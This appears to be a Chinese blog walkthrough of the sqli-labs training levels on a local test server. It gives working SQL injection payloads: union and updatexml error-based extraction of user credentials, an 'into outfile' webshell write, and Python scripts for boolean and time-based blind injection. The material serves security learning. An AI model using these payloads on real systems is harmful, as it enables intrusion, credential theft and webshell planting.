渗透小游戏,各个关卡的渗透实例---步骤简单(含代码)

Less-1

在这里插入图片描述
首先,可以看见该界面,该关卡主要是SQL注入,由于对用户的输入没有做过滤,使查询语句进入到了数据库中,查询到了本不应该查询到的数据
首先,如果想要进入内部,就要绕过,首先是用 ’ 绕过,当然,绕过后会有一个 ’ 空余,所以要 “- -空格”或者“–+”来注释掉,然后通过联合查询来查询到用户权限和数据库名
这里“+”号回自动转换为“空格”,所以可以用“–+”来注释,但,也因为如此,当真正想使用“+”号时,“+”号会变成“空格”,所以,但想使用“+”号时,要用“%2b”,“%2b”就是“+”号的意思。
在这里插入图片描述

?id=-1' union select 1 ,user(),database()--+

在这里插入图片描述
因为该网页代码id输入有 ’ ’ ,是字符型注入,要单,双引号闭合,所以要 ’ 来绕过。接下来,按照相同的操作,查询出列名,表明和库名,就能进行登录了

注意:一般数据库创建的时候,都会创建“information_chema”“mysql”“performance_chema”这3个库

Less-2

先看看源代码
在这里插入图片描述
这个一眼就知道,是数字型注入,不用单,双引号,所以可以直接进行注入

?id=-1 union select 1 ,user(),database()--+

在这里插入图片描述
对比上一题,少输一个 ’ ,表示不用 ’ 来绕过,直接注入就行

Less-5

先查看代码:
在这里插入图片描述
看到error,明显应该使用报错注入

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),1,32)0x7e),1)--+

在这里插入图片描述
这里我使用updatexml报错函数来注入输出,通过错误报告来显示想要查询的信息,但是,注意:这个输出只能输出32个字节,所以想要查询到后面的数据,可以用substr函数来设置输出字段,如下图:

?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(username,0x3a,password)from users),32,64)0x7e),1)--+

updatexml报错注入:

使用有三个参数(XML_document,XPath_string,new_value)

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc(XML的内容
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程(是需要update的位置XPATH路径
第三个参数:new_value,String格式,替换查找到的符合条件的数据(是更新后的内容

注意:第一,三个参数可以随便写,主要利用的还是第二个参数(第二个参数需要Xpath格式的字符串,以 “~” 开头的内容不是xml格式的语法,所以 “~” 用0x7e表示,concat()函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果一错误的方式报出,这样就可以实现报错注入了)

在这里插入图片描述

Less-6

和Less-5题还是一样的

?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)--+

在这里插入图片描述

Less-7

mysql如何导出webshell,如何上传webshell:

运用outfile函数

还要3个条件,条件苛刻

1、mysql用户权限必须为root
2、必须知道网站的物理路径,使自己能够知道并访问
3、secure_file_priv为空,表示可以导到任何目录下面

但是我的secure_file_priv文件有目录,只能导入到 C:\ProgramData\MySQL\MySQL Server 5.7\Uploads\中,不能导入到指定文件,无法复现。
在这里插入图片描述
如果正常secure_file_priv文件中没有代码的话,可以用以下代码进行导出:

?id=1')) union select 1,2,"<?php phpinfo();" into outfile "D:/phpstudy_pro/www/sqli/webshell.php";--+

其中“D:/phpstudy_pro/www/sqli/webshell.php”是我自己定义的导出路径,这个你可以根据自己喜好,自己填写要导出到哪里

Less-8

在这里插入图片描述
在这里插入图片描述
根据输入反馈的结果,可以知道,该页面只有正确时才会显示,输入错误就什么都不显示,那么就可以使用布尔盲注来解决。
这里我们可以试试自己编写脚本来完成,以下是完成截图和代码:
在这里插入图片描述

import requests

url = 'http://127.0.0.1/sqli/Less-8/index.php'#题目Less-8的路径

def inject_database(url):
    name = ''#存储将要输出的字符
    for i in range(1, 20):#输出字段的字长
        for j in range(32, 129):#默认显示的字符从32到127,这里我选择129,表示后续没有字符,其实写128也可以
            payload = "1' and ascii(substr(database(), %d, 1)) = %d-- " % (i, j)
            #将databases里面的第一个字截取出来并转换成数值,和j(即%d,每个数字代表对应的字符)进行比较,如果等于则输出
            res = {"id": payload}
            r = requests.get(url, params=res)
            if "You are in..........." in r.text:
                name = name + chr(j)
                print(name)
                break
            else:
                continue

inject_database(url)

这个方法是暴力破解法,用来两个循环,相对来说还是很慢的
还有一个方法,二分查找法,相对来说速度更快

import requests
def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and ascii(substr(database(), %d, 1)) > %d-- " % (i, mid)
            res = {"id": payload}
            r = requests.post(url, params=res)
            if "You are in..........." in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

当然,后续要查找其他用户,表明之类的只要改一下payload的查询就行
在这里插入图片描述
注意:查询代码过长时,要注意括号的规范,我经常因为括号多写或者少写而报错

Less-9

在这里插入图片描述
在这里插入图片描述
这一题和上一题又有些不同,他无论输入对还是错都只显示一个页面,对于这种反馈,我们可以试试时间盲注
如果输入数据正确,则沉睡3秒或1秒(自己定义沉睡几秒),否则不沉睡

import time
import requests
def inject_database(url):
    name = ''
    for i in range(1, 50):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            payload = "1' and if(ascii(substr(database(), %d, 1)) > %d, sleep(1), 0)-- " % (i, mid)
            res = {"id": payload}
            start_time = time.time()
            r = requests.post(url, params=res)
            end_time = time.time()
            if end_time - start_time >= 1:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

基本还是差不多的代码,只不过加了个时间限制
在这里插入图片描述
这个截图无法展示,自己可以去试试,结果是在1s后运行出来的。

Less-11

在这里插入图片描述
查看源代码,发现用户名是字符串输出,那么就可以通过 ’ 绕过来获取信息
在这里插入图片描述
输入:a' union select 1,user()#查询用户权限
在这里插入图片描述
成功查到是root权限

查其他的也行,同样的在用户名输入界面更改代码就行

a' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' --+

在这里插入图片描述

Less-13

在这里插入图片描述
其实这个和之前的一样,输入错误的话会有报错,那么就可以用报错注入

a') and updatexml(1,concat(0x7e,(select user()),0x7e),1)#

在这里插入图片描述

Less-15

在这里插入图片描述
登录成功和失败都只返回图片
还是编写脚本来试试看:

import requests

url = 'http://127.0.0.1/sqli/Less-15/index.php'

def inject_database(url):
    name = ''
    for i in range(1, 20):
        low = 32
        high = 128
        mid = (low + high) // 2
        while low < high:
            data = {"uname": "admin' and ascii(substr(database(), %d, 1)) > %d#" % (i, mid), "passwd": "aaaaaa"}
            r = requests.post(url, data=data)
            if "flag.jpg" in r.text:
                low = mid + 1
            else:
                high = mid
            mid = (low + high) // 2

        if mid == 32:
            break
        name = name + chr(mid)
        print(name)

inject_database(url)

可以成功获得结果
在这里插入图片描述

  • 5
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值